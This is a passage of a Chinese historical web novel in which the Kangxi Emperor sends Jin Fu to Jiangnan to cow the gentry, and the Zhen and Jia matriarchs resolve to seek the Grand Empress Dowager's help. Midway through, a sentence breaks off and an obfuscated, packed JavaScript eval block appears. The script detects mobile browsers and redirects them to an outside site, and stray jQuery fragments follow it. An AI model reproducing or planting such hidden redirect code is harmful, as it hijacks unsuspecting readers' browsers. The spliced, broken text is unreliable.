梁九功心头一动,忙躬身应下,却不敢多问半句——皇上此刻调靳辅入江南,哪里是单单为了河道?
这位靳大人,是出了名的铁面,当年在江苏督办河工,查贪墨、清庸官,连带着江南几处依附世族的地方官都被连根拔起,朝堂震动,江南世族更是恨得牙痒却半点奈何不得。
如今再放他入江南,明着是治河,实则是借河道衙门的刀,再去江南震一震那群心思活络的汉人世族。
康熙睁着酸痛的眼睛,看着梁九功研墨执笔的模糊身影,心中不断翻涌着算计。
河道衙门,本就是他埋在江南的一步妙棋。
河务连着漕运,漕运牵着江南的粮路、财路,江南世族纵使盘根错节,也离不了河运漕道——靳辅掌着河道衙门,便握着江南的命脉之一。
当年靳辅在江苏清理地方官,便是敲山震虎,让那群世族知道,朝廷的刀能砍到他们的跟前;此刻再召他入江南,借着“寻河道、疏漕运”的名头,便能名正言顺地插手江南地方事务,查探那些世族暗中的勾连,敲打那些借着商贸、屯田暗自扩张的势力。
更妙的是,河道衙门属专设衙署,不归地方督抚辖制,靳辅行事可直达天听,江南的府县官员便是想徇私包庇,也拦不住。
那些世族若敢借着宗族势力阻挠河工,靳辅便可直接拿办,师出有名,半点挑不出错处——既整治了世族,又落了个“重河务、安民生”的名声,一举两得。
“再加一句。”康熙忽的开口,打断梁九功的落笔,“靳辅此行,可会同江南驻防八旗,凡有抗命不遵、私阻河工者,以谋逆论,先斩后奏。”
梁九功的笔顿了顿,随即重重点下,墨汁落纸,晕开冷厉的锋芒。
先斩后奏,会同驻防八旗——皇上这是摆明了要给靳辅尚方宝剑,让八旗铁骑做他的后盾,便是江南世族真的祖先附体敢抱团反抗,也能直接以武力镇压。
康熙靠回软枕,心头的沉郁稍解。
江南是税收、产粮、商贸重地,不能杀绝,却必须压服。
靳辅入江南,一是借河道衙门的权柄震慑地方,清剿那些依附世族的蠹虫;二是借着河工漕运,把江南的水运命脉攥得更紧,让世族们不敢轻易妄动;三是借着驻防八旗的武力,让那群人记起当年的教训,知道大清的刀,从未收过。
他太清楚江南世族的性子,趋利避害,欺软怕硬。你退一步,他们便敢进十步,借着财势笼络地方、勾连朝官,慢慢坐大;唯有把刀架在他们脖子上,让他们知道皇权的雷霆之威,他们才会乖乖跪在地上做奴仆,按时交粮纳税,不敢觊觎半分权柄。
当年顺治帝定鼎中原,便立了规矩——大清绝不像大元那般,将基层治权让给汉人地主,八旗的铁蹄,要踏遍江南的每一寸土地,八旗的官吏,要掌着江南的每一处权柄。
河道衙门、驻防八旗、内务府的商贸管控,层层相扣,便是为了把江南这块宝地死死攥在皇权手里,让那些世族永无翻身之日。
梁九功拟好圣旨,双手捧上,自有女官上前诵读一遍,康熙听罢,朱笔落印,鲜红的玉玺盖在黄绫之上,成了一道催命符,也成了一道镇山符。
“即刻着前朝发往河道总督府,八百里加急。”康熙沉声道。
“奴才遵旨。”梁九功躬身退下,圣旨揣入怀中,步履匆匆,带着帝王的冷厉,往宫门而去。
暖阁内复归寂静,康熙闭上眼,耳畔似已响起江南的风声,似已见着靳辅带着兵丁查勘河道、拿办贪庸的模样。
他要让江南的世族们知道,大清的江山,容不得他们半点觊觎;大清的皇权,是他们永远跨不过的天堑。
唯有把这群人压得死死的,江南才能安稳,大清的财路、粮路才能安稳,他这病榻上的帝王,才能稍稍安心。
八百里加急的圣旨刚踏出宫门,鎏金御印的黄绫便如一道惊雷,炸响在京畿的朝堂街巷。
皇帝召靳辅入江南总领河务,许其会同八旗、先斩后奏的旨意,不消半日便满朝皆知,连坊间茶肆都在私议——皇上哪里是要治河道,分明是要借靳辅的刀,再刮一刮江南的地皮。
满朝文武,倒多半沉得住气。
靳辅的能耐,这些年早已举世皆知,河道疏浚、漕运整饬,桩桩件件都办得滴水不漏,可也因久掌河道衙门,手握专断之权,衙门势态日渐膨胀。
当年他横扫江苏官场,揪出地方官与乡绅勾结贪墨河银的大案,顺藤摸瓜直扫户部,扳倒的皆是江南地界的蝇营狗苟,与京中那些八旗勋贵、中枢大员本无干碍,他们只需冷眼旁观,看这把铁面刀再入江南掀起风浪便是。
可偏有一批人,如热锅上的蚂蚁,急得京城里上下乱窜——正是以甄、贾、史、王等为首的江南旧勋。
甄府的掌家人甄应嘉,自家送入宫一个仙女似的妹子,却也没换来一个要紧的官位,他赋闲许久,眼见着家族衰败,头一个便沉不住气。
圣旨刚到的午后,他便一身常服,匆匆赶往王府拜见王子腾,想约着几家联手,寻个门路,找个办法,好歹在皇上面前有人给说句话,或者是能让靳辅手下留情。
可王子腾闭门不见,只让管家传了句“身有微恙,不便会客”,明晃晃地避嫌。
甄应嘉站在王府朱漆门外,冷风卷着雪沫打在脸上,心头凉了半截——王家是识时务的,知道皇上此番动真格,不愿蹚这浑水。
可这偌大京中江南旧勋里,只有王子腾可谓还受皇上看中啊。
寻旁人来,也不过抱头叹息。
见长子求人无果,甄府的老夫人坐不住了。
这位白发苍苍的老妪,是府里的定海神针,也是见过太皇太后、在慈宁宫当过差的老人。
当晚便让人备了车,亲自往贾家去。
贾家的史夫人,是她的手帕交,当年一同在慈宁宫伺候过太皇太后,沾着几分旧情,也是如今江南旧勋里,还能借着老脸搭上慈宁宫线的人。
又有贾敏在公主身边,又有贾赦在佟国纲军中,贾家是有几分底蕴的。
贾府暖阁里,牛乳茶的甜香混着檀香,史夫人扶着炕沿起身相迎,见甄老夫人眉头紧锁、面色凝重,便知她来意。
甄贾是世交,但史夫人其实不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143608|173504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想沾染他们。
可来的是老姐妹,便不可不见。
屏退了所有下人,只留两个贴身嬷嬷在外间守着,暖阁里只剩两位,隔着一张红木炕桌,相对而坐。
“姐姐,你也听说了吧?”甄家老夫人握着史夫人的手,指腹因用力而泛白,声音里带着难掩的焦灼,“皇上召了靳辅入江南,那是个油盐不进的铁面人,当年江苏那回,多少乡绅世家栽在他手里?如今他带着八旗兵去,还许了先斩后奏,咱们江南的人,怕是要遭大难了!”
史老夫人叹了口气,拍了拍她的手,眼底也满是愁云。
她,岂会不知?
靳辅的手段,江南地界无人不晓,他查河务从来都是连根拔,管你是世家大族还是地方乡绅,只要沾了贪墨河银、阻挠河工的边,一概拿办,半点情面不讲。
如今皇上让他会同驻防八旗,摆明了是要借着河务的名头,整治江南的世族,断了他们暗中勾连、私谋商贸的路子。
“应嘉去寻了王子腾,碰了一鼻子灰。”甄老夫人红了眼眶,声音发颤,“王家怕事,不肯出头,其他几家也都缩着脖子,个个都想独善其身。可姐姐你想想,覆巢之下无完卵!靳辅此番入江南,先拿谁开刀都一样,今日办了甄家,明日便可能是贾家、史家、薛家!咱们江南的人,本就被皇上防着,这一回,若是没人保,怕是真的没活路了!”
她拉着史夫人的手,字字恳切:“姐姐,唯有你我二人,还有当年在太皇太后宫里当差的情分。太皇太后心善,念旧情,咱们一同入宫,求见太皇太后,让她老人家在皇上面前说句公道话。不求皇上撤了靳辅的旨意,只求让他手下留情,别把江南赶尽杀绝,给咱们江南的旧人,留一条活路啊!”
史夫人沉默着,指尖摩挲着炕桌上的玉摆件,心底翻涌不已。
她何尝不想护着贾家祖地,护着江南的族人?
可她比甄老夫人更清楚,皇上此番动怒,岂是太皇太后一句求情便能挽回的?
当年太皇太后为了娘家博尔济吉特氏,在皇上面前说过几回情,皇上表面应着,实则依旧按自己的心意行事。
如今皇上对江南世族猜忌已深,靳辅这把刀,本就是皇上亲手递出去的,岂会因太皇太后的一句话便收回?
可甄老夫人的话,又字字戳中要害。
覆巢之下无完卵,江南世家本就是一根绳上的蚂蚱,甄家倒了,贾家也绝无可能独善其身。
况且,她与甄家老夫人的旧情,还有那点慈宁宫的薄面,若是不试上一试,日后怕是连后悔的机会都没有。
良久,史夫人缓缓抬眸,眼底的愁云里多了几分决绝。她握紧甄家老夫人的手,沉声道:“妹妹说得是,覆巢之下无完卵。这一趟,我陪你去。明日一早,咱们一同入宫求见太皇太后。哪怕只有一丝希望,也得为江南的族人争上一争。”
甄老夫人闻言,眼眶更红,重重点头。
暖阁里的牛乳茶渐渐凉了,檀香却依旧袅袅,只是这香气里,却裹着江南旧勋的惶惶不安,裹着孤注一掷的希冀。
而京城里的风,还在吹。